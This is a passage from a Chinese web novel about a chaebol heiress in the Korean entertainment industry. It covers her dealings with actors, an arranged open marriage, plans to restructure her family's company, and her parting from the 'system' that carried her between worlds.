身后传来酒塞拔出的声音。原本在忠武路受到无数后辈敬仰、呼风唤雨的大前辈，现在狼狈地拿起一瓶烈酒，不管不顾地往嘴里塞。酒液顺着嘴角滑落到布上皱纹的脖颈、衬衫领。 具玉妍却没有回头。 “具小姐nim，你满意了吗？”他干完一瓶后，又拿起另外一瓶，如法炮制打开木塞，然后对着嘴巴。 像是听出他语气中的一丝不甘、诘问，具玉妍站定，旁边的秘书很有眼色地推开门。 “对你来说一些女爱豆、女艺人，不过是你桌上的一盘菜，可以任你宰割。对我而言你也是。”她依旧没有回头，语气淡漠。“朴秘书，你盯着看他喝完威士忌，刚刚那瓶不算，大半酒液都浪费了。喝这种烈酒很伤胃，帮他再开两瓶香槟漱漱口。” 听到这话的李炳宪脸色惨白地不像样，对方是冲着让他酒精中毒来的。像这样不要命地喝法，他已经很久没有经历过了。 大宇集团如日中天时，他为所欲为。等大宇垮了之后，他已经枝繁叶茂、树大根深，更没有人能随便强迫他。 等人走后，他看着不远处的赵寅城，李炳宪匪夷所思道：“她是在帮那些艺人讨回公道吗？” “你想太多了，财阀眼里没有性别，在她之下所有人不过是物化的资源而已。”赵寅城只觉得李炳宪很天真，他只是杀鸡儆猴、用来立威的一个工具而已。只是他小瞧了具玉妍，在她的财阀身份前面加了限定词——女。 他不知道攒这个局，让两人说和到底是对是错。事已至此，赵寅城也只能接受了，往好处想他可以重新接洽忠武路资源了。 具玉妍只觉得无聊，忠武路无聊，男人无聊，韩娱这个烂圈子更是无聊。她把高跟鞋敲得笃笃作响时候，看到了一个意料之外的人。 “朴保剑，你怎么在这里？” “怒那，我们已经四个月已经没有见面了。”他像金毛奶狗一样露出可怜兮兮的表情，湿漉漉的狗狗眼显得可怜巴巴。 具玉妍对他这样单纯憨帅的脸蛋，完全没有抵抗力。天天对这个肮脏不堪的世界，看到他的脸都觉得舒服了一点。 “你以后会大火的，等你事业有成的时候应该和我划清界线。”她苦口婆心道，字里行间全是为了他好。 朴保剑讨厌自己，明明是单纯的交易，他却暗自漏了心。也讨厌玉妍，明明是“金主”，却总在不经意间露出一丝柔情，让人觉得他是特殊的。 第152章 第一百五十二章 “我不想的。”面对有些不近人情的具玉妍，朴保剑连‘我不要’这样坚决的话都说不出口。 他忽然抱住了具玉妍，介于少年和青年之间的男 人体温很高，怀抱像是一个火炉。“怒那，我知道你今天会来，我不想和你变成陌生人关系。” 他知道自己的优势，每次线下粉丝见面会的时候，露出这样的表情，她们都会大呼kiyo。 具玉妍允许自己放纵了一瞬间，没有立刻推开他，纤细的身形显得格外脆弱。 朴保剑的品味很好，这款青草味的香水很适合他，像是夏天的雨滴落在乔木上，滋润又清新。和老男人身上古龙水混着烟草的厚重气息完全不一样。 “你知道的，我们之间不可能。我以后的结婚对象可以是议员可以是检察官，也可以是其他财阀家的成员，唯独不可以是演员。”她硬着心肠把这番话说了出来。“你演员的职业对我的事业毫无助力，甚至因为职业特性，会让我一直曝光在大众眼前。” 朴保剑把头搁置在她肩膀上，贪恋地嗅着她身上的气息，眼眶里面的湿润慢慢凝聚。说具玉妍无情，她又会把这样的话掰开和他说。 “如果你真的一点没有心动，就应该直接推开我，然后转身走。对于你们来说，时间是最宝贵的，何必和我这样一个小演员废话那么多呢？” 他的话戳中了女人心底隐秘的心思。具玉妍却恼羞成怒地把人推开了，“我会安排推荐信，你去中央大学好好进修一下。以后那些校友会是你天然的资源，朴保剑xi，请你好好生活吧。” 说完之后，她直接离开了，没有管身后男人的其他举动。 定定地看着她背影离开，朴保剑的五味杂陈，心脏的酸胀感几乎要将他淹没。为什么……为什么他一进圈碰到的上位者，会是这样美貌、矛盾、具有吸引力的。 如果重来一次，他宁愿自己在圈里沉浮，也不会在片场的时候主动提出和具玉妍聚餐。 出门的赵寅城正好看到这一幕，嗤笑了一声。 “是你啊，继任者？” 说完他上下扫视了一番，这位“继承”了他LG手机代言的继任者。长得很一般呀！不但不如正统演员脸的郑宇盛，更比不上他这种传统美男子，也不知道具玉妍看中他什么了。 论颜值、论实绩，他自认为把这位后辈遥遥甩开，只觉得具玉妍当时是想另辟蹊径吃点清粥小菜。 “恭喜你啊，就算是LG的代言人，官网也不过发了15条你的CF而已。LG的官方账号甚至把你取关了吧。”这一刻，赵寅城不可否认他有了嫉妒心理。 不单单是因为具玉妍，还有……观众的喜爱。这样的年轻男人往演艺圈里扑，他的资源会不断被挤压。 “呀，是前辈呀。”朴保剑看似很有礼貌地把自己的要弯成了折叠屏，语气却在前辈两个字上面加了重音。 “我是看着前辈的作品长大的，没想到前辈就算出演了忠武路的电影，也还是继续在小银幕上兢兢业业。这让我们有些苦恼，选得剧本都只能是前辈挑剩下的呢！” 语气很谦卑，话里话外的意思可一点都不谦卑，像是在指责对方被忠武路退货，现在只能和新人来抢电视剧的资源。 赵寅城恼怒到脸上瞬间红温了，他松了松领间细长的领带。 “她又不在这里，你在这里装什么好后辈啊，等你什么时候能出席青龙再来挑衅吧。”说完他拍了拍朴保剑的肩膀，却不是为了鼓励。 两人直到都看不见对方了，才止不住的懊恼，现在争个高低有什么用呢？具玉妍不会把他们任何一个人放在心上。 —— “想好了吗？你真的要继承LG集团？”具熙愫有些羡慕，这还是财阀家族唯一的一个女继承人。 “是啊。”具玉妍在改姓的那一刻就做好了决定，“虽然具社长在私人生活方面就是一个人渣，但是他的话很有道理的。” 主要在这个世界，她对生意上的事情算是有天赋，再加上继承LG这么大的集团，是多少人梦寐以求的事情。 具熙愫心情有些复杂，她既羡慕这样的具玉妍，又羡慕又松了口气。集团是她来掌权的话，自己的日子也会好过一点。 “具社长没有让你去联姻吗？如果没有稳定的婚姻，说服董事会那群老古董可不容易。” 具玉妍让她在会客厅先坐下，崔秘书端进来一杯美式一杯拿铁。她一边喝着咖啡一边说道：“联姻对象定下来了，也说好以后的孩子都姓具。” “是谁？”具熙愫有些好奇，没有听说过她和其他财阀家族成员有交集，三星这一辈的男性年龄不符合，难道是sk集团？ “这人你也见过，是尹灿。”说到这，具玉妍皱了皱眉。按她的标准，尹灿的长相太过差强人意了，但是确实是目前最好的选择。 “那你的那些男伴呢？”要是结婚的话，他们怎么办？ “我不吃回头草，但是我们这个阶层不都是开放式婚姻吗？”具玉妍显然是已经想好以后的相处模式，婚前财产协议也准备好了。 具熙愫拿起拿铁，啜了一口，奶泡和咖啡的苦味达成了微妙的平衡。“啧，那他有点惨呀！” “你还来心疼上男人了？”她睨了一眼堂姐，这样在社会范式下被规训的性缘脑，怎么还是扭不过来。“他们家能得到LG的资助，从中产跃升为政治家族，我和他难道不是各取所需吗？” 把KM娱乐的股份处理好之后，具玉妍又重新回到忙碌的生活。 她进入LG集团一开始的职位是总助，董事会的股东都还在观望。在看到很多部门，还是按照上个世纪那一套，吃着时代红利、不思进取，她就有些头疼。 这样的一个庞然大物，内里却已经久病难返。她想了一下，还是敲开了具社长的办公室。 “社长nim，我有些想法想要和您汇报一下。” 看这个这个和他性格肖似、野蛮生长成的女儿，具官烨内心涌起了一阵骄傲。除了喜欢在演艺圈找男伴这点以外，对于她其他的事情，他都很满意。 “你说说看。”他放下手上的并购案文件，含笑看着自己和初恋的这件杰作。 继承了初恋的美貌和他的脑子，具官烨怎么可能不偏爱她。就算家里的女儿也想进集团又怎么样？真当生意上的事情，是那样轻而易举的吗？ “我们的核心业务——电子产业，和三星的核心板块过于重叠了。”她拿出数据，是南韩今年在电子产品上面销售量。 “海外市场我们过于依赖种花和美国的政策倾斜。” 看到她真能一针见血说出目前的问题时，具官烨的表情更加严肃认真起来。 “按照你的看法应该怎么样做？”企业转型说起来简单，但是在其中陨落的大型企业不在少数。 “把手机支线拆掉，这个业务就算继续存在也只是集团的拖累。和三星相比，不管是显示屏还是芯片我们都没有优势。”具玉妍的语气颇有些壮士断腕的利落。 “转型放在家电上，打造全新的智能家居概念。”她把之前给具官烨看过的方案，再一次放在他的案前。 只是这一份，和之前相比要详细不少，是以十年为单位，分三步达成目标的策划。 “现在手机的销售额，是集团利润排第二的业务，你该怎么说服董事会？” 看着对面年过半百的男人，她在心底感叹一句：他到底还是老了，不比年轻时候有魄力了。 “不是现在拆，而是逐步转移重心。”重资产在未来只会成为负累！ “我知道了。”具官烨没有立刻给出自己的回复，而是看着落地窗外的景色。 路上的行人依旧把自己收拾得精致，脚步匆匆地在工作或者生活，看起来一片欣欣向荣之像。但是高位者知道，这些只是表象。种种矛盾掩饰在快速发展 的表皮下，但汉江奇迹的时代红利快要消耗殆尽了。 等具玉妍从总助换成在各个部门轮岗是，尹灿通知她出席董事会。 她看着电脑里早就准备好的资料，心情有些紧张。看着通知完之后，依旧没有离开的尹灿，她的内心一片腻烦。 不知道从什么时候开始，他好像很喜欢黏在她身边。很多时候，明明是可以让职员或者实习生跑腿送资料过来，尹灿偏偏亲自跑一趟。 “你还在这里干什么？秘书室难道不忙吗？”具社长给他的工作量可不轻。 “社长nim，让我和你好好培养感情。” 具玉妍放在桌上的手机，忽然跳出一条简讯：「怒那，就算是见不得光，我也心甘情愿。反正你的未婚夫应该也不会在意的吧！你和他之间根本没有感情。」 因为是轮岗，所以没有自己的办公室，就连堆满了资料的办公的桌子也十分狭窄。 尹灿刚好向下扫了一眼，只能看到前两句。但还是被气得嗤笑了一声，“这样的手段，比会所里的女公关高明不到那里去。” 平时的他一直都是四平八稳的状态，根本不会说出这种带刺的话。 具玉妍一看这个语气，就知道是朴保剑发来的信息。听到名义上的未婚夫这样诋毁他，忍不住皱了皱眉。 “他不是那样会耍手段的性格，和你们这种人都不一样？” 听到她这样维护的话语，尹灿倒是气的不行，用力咬着后槽牙，才让他的表情好看一点。 “也是，我比不上这种会说漂亮话的花瓶。” “你没有事情的话，就好好去准备司法考试。你不是那么不可替代。”具玉妍烦躁地揉了揉额头，要是这位结婚对象如此难缠的话，她要考虑一下更换人选了。 逐客的意味很是明显了，尹灿站在原地看着她回复了对方。不知道对面那个“男小三”说了什么，把她逗笑了。 一向冷漠、维持着疏离的温度的女人，笑起来像是三月的樱花，看起来明媚柔软又轻盈。尹灿压住心里的酸涩，只能不断安慰自己来日方长，至少他才是名正言顺站在具玉妍旁边的人。 「怒那，我有在好好学习，还是要感谢你的推荐信，很多教授对我都很照顾。」朴保剑看着对方原因和他聊天，心情忍不住变好。 就算是有未婚夫又怎么样？财阀家离婚难道是什么很稀罕的事情吗？那位忠武路前辈就是他的榜样，李正宰前辈可是撬到了三星前太子妃。而他更年轻，以后的机会也会更多。 「那就好，演艺圈很看学校圈子的，正经学校出来的资源就是更好。」具玉妍想着对方单纯的性格，忍不住多说了两句。 「李炳宪前辈还给我推了一个不错的本子，我能接吗？」 像是想到对方单纯无辜的眼睛里，会全部都是渴望，具玉妍的心脏就硬不起来了。「他给你你就接呗！我们公司的艺人这点自主权还是有的。」 「内～」她能回复就已经很好了，朴保剑抱着手机看着一条条短讯，内心涌上一阵阵甜蜜。 知道李炳宪的意思，具玉妍在打了电话知道他这次的诚意很足，还给了她一部分BH的股份补偿。她干脆就打给了CJ，让人把那部压了大半年的《局内人》上映。 看到网络上终于出现《局内人》的宣传资讯，李炳宪终于松了口气。他再也不会站在具玉妍的对立面上了，不知不觉中她在娱乐圈已经长成了一个庞然大物。 看来还是朴保剑在她眼里的分量更重，以后做人情的资源可以往他那边倾斜。 处理完这些琐事之后，具玉妍继续在办公室完善自己的方案。要说服那些老古董不容易，他们躺在世宗大王上太久了，总觉得不管怎么样，他们的分红都会一直这样多下去。 她舒了口气之后，约了个律师去交接手上的KM娱乐的股权。以后她不会再有时间去打理那座，自己成立的娱乐王国，具玉妍的心底充满了不舍。 等开董事会的那天，她鼓起勇气准备推开大门时候，脑海里响起许久未闻的电子合成音。 「等等，我就沉睡了一会，宿主你怎么就把这个世界的攻略任务偏移成这样？」 系统看着攻略任务的进度条一直卡在百分之六十，甚至还有不断往下掉的趋势，瞬间整个统都不好了。 「就是突然觉得攻略有些没意思了。」她慵懒的嗓音响在意识中，透着一股深深的疲惫。 系统有些卡机，不知道该如何排解宿主这种已经倾向于抑郁的情绪。 「那我把任务对象改成朴保剑吧，你的进度条到了百分之九十了，这样这个世界的任务也就能结束了。」 具玉妍想着这个世界，她的内驱力越来越弱，就忍不住摇了摇头。「谢谢你啊，系统。原本我是超级讨厌商业上的事情，不然也不会拒绝继承家里的事业，选择进入娱乐圈了。」 她像是对这段旅途真的很是疲惫了，灵魂都变虚弱不少。「原本以为我能适应这样漂泊的旅途，但是现在觉得这样，结束一生也好。」 系统：…… 它的cpu好像运行地非常非常迟缓。「我们尊重每一位宿主的选择，请问您是想留在这个世界吗？」 具玉妍点了点头，这个世界已经是最好的状态了。26岁的财阀继承人，说句人生赢家也不为过，只是兜兜转转还是回到了原点。 系统和她相伴过很多世界，此时也有了独属于人类不舍的情绪。「解绑倒计时10，9，8……」 「等等。」 「宿主你是改变主意了吗？」它的电子音里透着一股小雀跃。 「不是哦，演戏天赋、小提琴大师级、天生爱豆、绝对音感、精确舞感、爆剧作家……这写技能对我来说没有用了，你干脆拿走吧。」具玉妍看着识海里那毛绒绒的一团白色光芒，就当是她送给它这漫长旅途的礼物吧。 「为什么，这些都是你辛辛苦苦自己练习出来的成果。」 她控制着自己的意识揉了揉那抹光团，「谢谢你的陪伴，就当是礼物吧，万一你的下一个宿主没有我这么优秀呢？这些也许对以后的攻略任务有所帮助。」 系统忽然有了拟人的情感，电子音带了些哭音，看着空间里那一堆光环。它的第一任宿主甚至把她自带的万人迷光环给了它。 「3，2，1」 再见了，玉妍。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&